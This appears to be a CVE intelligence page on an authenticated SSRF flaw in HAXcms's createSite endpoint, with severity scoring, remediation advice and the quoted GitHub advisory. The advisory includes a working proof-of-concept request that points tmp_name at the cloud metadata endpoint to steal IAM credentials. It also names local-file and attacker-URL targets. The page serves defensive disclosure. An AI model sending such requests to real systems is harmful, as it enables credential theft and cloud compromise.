Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to HAXcms (default or stolen creds)
-
DeliveryCapture JWT and CSRF token
-
ExploitPOST crafted build.files to /createSite
-
InstallServer calls file_get_contents on attacker URL
-
C2Response written to sites/<name>/files/
-
ExecuteGET file to retrieve metadata/credentials
-
ImpactPivot using stolen cloud IAM keys
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated session on HAXcms - PR:L per the CVSS vector - but the advisory notes fresh installs ship with default credentials admin/admin, substantially weakening this barrier. The attacker must also obtain a valid JWT and CSRF token (trivially issued post-login) and reach the /createSite endpoint over the network (AV:N). No user interaction is required (UI:N) and no special non-default configuration is needed; the vulnerable bulk-import code path with is_uploaded_file() bypass is present in stock @haxtheweb/haxcms-nodejs versions <= 25.0.0. Impact on cloud-metadata theft is limited to instances where the host has IMDSv1 enabled or IMDSv2 with permissive hop limits; on-prem deployments without cloud metadata services still face arbitrary file read and internal SSRF. |
| Impact | The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N yields 7.1 (High), reflecting network reachability, low complexity, low-privilege authentication, no user interaction, and high confidentiality impact with no integrity or availability impact - which aligns with an SSRF/file-read primitive. EPSS and KEV data were not provided in the input, so exploitation probability and active-exploitation status cannot be quantified; absence of a KEV entry means this should be treated as not confirmed actively exploited. However, publicly available exploit code exists in the GHSA advisory and the PoC notes that fresh installs ship with default admin/admin credentials, which materially lowers the practical PR:L barrier and makes opportunistic exploitation realistic against unhardened deployments. The cloud-metadata exfiltration path (169.254.169.254) is particularly impactful for HAXcms instances hosted on AWS/Azure/GCP, where stolen IAM credentials can pivot well beyond the original CVSS scope. |
| Exploit ScenarioDerived | An attacker logs into a HAXcms instance using either compromised low-privilege credentials or the documented default admin/admin on a fresh install, then issues a POST to /createSite with a build.files entry whose tmp_name is set to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The server fetches the cloud metadata response via file_get_contents() and writes it to sites/<sitename>/files/poc.txt, which the attacker then retrieves with a simple GET, yielding IAM credentials that can be used to pivot into the cloud account. Working PoC steps are published in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jun 05, 2026
Server-Side Request Forgery in HAXcms (versions <= 25.0.0 of @haxtheweb/haxcms-nodejs, with PoC against v11.0.6) allows authenticated low-privileged users to coerce the server into fetching arbitrary URLs or local file paths via the createSite endpoint's build.files parameter, with responses written to a web-accessible directory. This produces arbitrary file read, internal network reconnaissance, and cloud metadata credential theft. Publicly available exploit code exists in the GHSA advisory, though no CISA KEV listing is present.
Earlier versions of this analysis (2)
Authenticated Server-Side Request Forgery in HAXcms (@haxtheweb/haxcms-nodejs <= 25.0.0) lets any logged-in user coerce the server to fetch arbitrary URLs or local file paths via the createSite endpoint and write the responses to a web-accessible directory. Publicly available exploit code exists (detailed PoC in the GHSA advisory), enabling arbitrary file read, internal network reconnaissance, and cloud metadata credential theft. No active in-the-wild exploitation has been reported in CISA KEV.
Server-Side Request Forgery in HAXcms (haxcms-nodejs <= 25.0.0) allows authenticated users to coerce the server into fetching arbitrary URLs or local file paths via the createSite endpoint's build.files parameter, with responses written to a web-accessible directory. Exploitation yields arbitrary file read, internal network reconnaissance, and exfiltration of cloud metadata credentials such as AWS IAM tokens from 169.254.169.254. A detailed proof-of-concept is published in the GitHub Security Advisory GHSA-q862-gcgq-5m6g, though no public exploit identified at time of analysis as a standalone weaponized tool.
RemediationAI
Vendor-released patch: upgrade @haxtheweb/haxcms-nodejs to version 26.0.0 or later, per the GHSA-q862-gcgq-5m6g advisory at https://github.com/haxtheweb/issues/security/advisories/GHSA-q862-gcgq-5m6g. Operators who cannot immediately upgrade should rotate or remove default admin/admin credentials and enforce strong authentication on the /createSite endpoint, then restrict outbound network egress from the HAXcms host so it cannot reach internal RFC1918 ranges, loopback, or cloud metadata endpoints (169.254.169.254, fd00:ec2::254) - note this will break any legitimate outbound import workflows. Where feasible, place a reverse proxy or WAF rule in front of /createSite to reject requests whose build.files entries contain scheme prefixes (http://, https://, file://, gopher://, ftp://) or absolute filesystem paths, and consider revoking IMDSv1 in favor of IMDSv2 with hop-limit 1 on cloud instances to neutralize the metadata-exfiltration path.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
HAXcms is an open-source headless CMS distributed as the npm package @haxtheweb/haxcms-nodejs, but the vulnerable code path is the PHP backend component. The root cause is CWE-918 (Server-Side Request Forgery): the createSite endpoint deserializes attacker-controlled JSON into $filesToDownload (Operations.php line 2626), iterates the entries (line 2730), and passes each item to HAXCMSFile::save() with a bulk-import flag. In HAXCMSFile.php line 30, the code calls file_get_contents($upload['tmp_name']) where tmp_name is fully attacker-controlled. The bulk-import flag deliberately skips PHP's is_uploaded_file() check, and file_get_contents() in PHP supports multiple URL wrappers (http, https, ftp, file, gopher under some configurations), so the input is treated as a stream URL rather than an actual uploaded temp file. The only validation is an extension whitelist applied to the JSON key (filename), which the attacker also controls.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.
Details
The createSite endpoint in HAXcms (v11.0.6) accepts a build.files parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using file_get_contents().
The data flow is as follows:
- User input (
build.files) is processed viaobject_to_array()into a PHP array - Assigned to
$filesToDownloadinOperations.php(line 2626) - Iterated over in
Operations.php(line 2730), where each entry is passed toHAXCMSFile::save()with bulk-import enabled
In HAXCMSFile.php (line 30), the following occurs:
file_get_contents($upload['tmp_name']);Here, tmp_name is attacker-controlled and may contain:
- External URLs (
http://attacker.com) - Internal services (
http://127.0.0.1) - Cloud metadata endpoints (
http://169.254.169.254) - Local file paths (
/etc/passwd,/proc/self/environ)
The bulk-import flag bypasses is_uploaded_file() validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.
There are no restrictions on:
- URL schemes (
http,file,gopher, etc.) - Destination IP ranges (internal, loopback, metadata services)
- Response content
All fetched content is written to:
sites/<sitename>/files/<filename>and is accessible via the web.
PoC
Prerequisites:
- Authenticated session (default credentials:
admin/adminon fresh installs) - Valid JWT and CSRF token
Step 1: Log in and capture JWT + CSRF token
Step 2: Send crafted request:
POST /createSite HTTP/1.1
Host: target
Authorization: Bearer [JWT]
X-CSRF-Token: [TOKEN]
Content-Type: application/json
{
"site": {
"name": "poc"
},
"build": {
"files": {
"poc.txt": {
"tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
}
}Step 3: Retrieve response:
GET /sites/poc/files/poc.txtThe response will contain the fetched content (e.g., cloud credentials or internal service data).
Impact
- SSRF enabling access to internal network services
- Arbitrary file read via local filesystem paths
- Cloud credential exposure through metadata endpoints
- Data exfiltration via web-accessible file storage
Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.
Executive ViewAI
HAXcms site management software versions 25.0.0 and earlier allow authenticated users to extract sensitive files and cloud credentials; publicly available exploit code exists for this vulnerability. Organizations using affected versions face immediate risk of credential theft and internal data exposure.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-34884
GHSA-q862-gcgq-5m6g
NVD
CVE.org
EPSS
Exploit-DB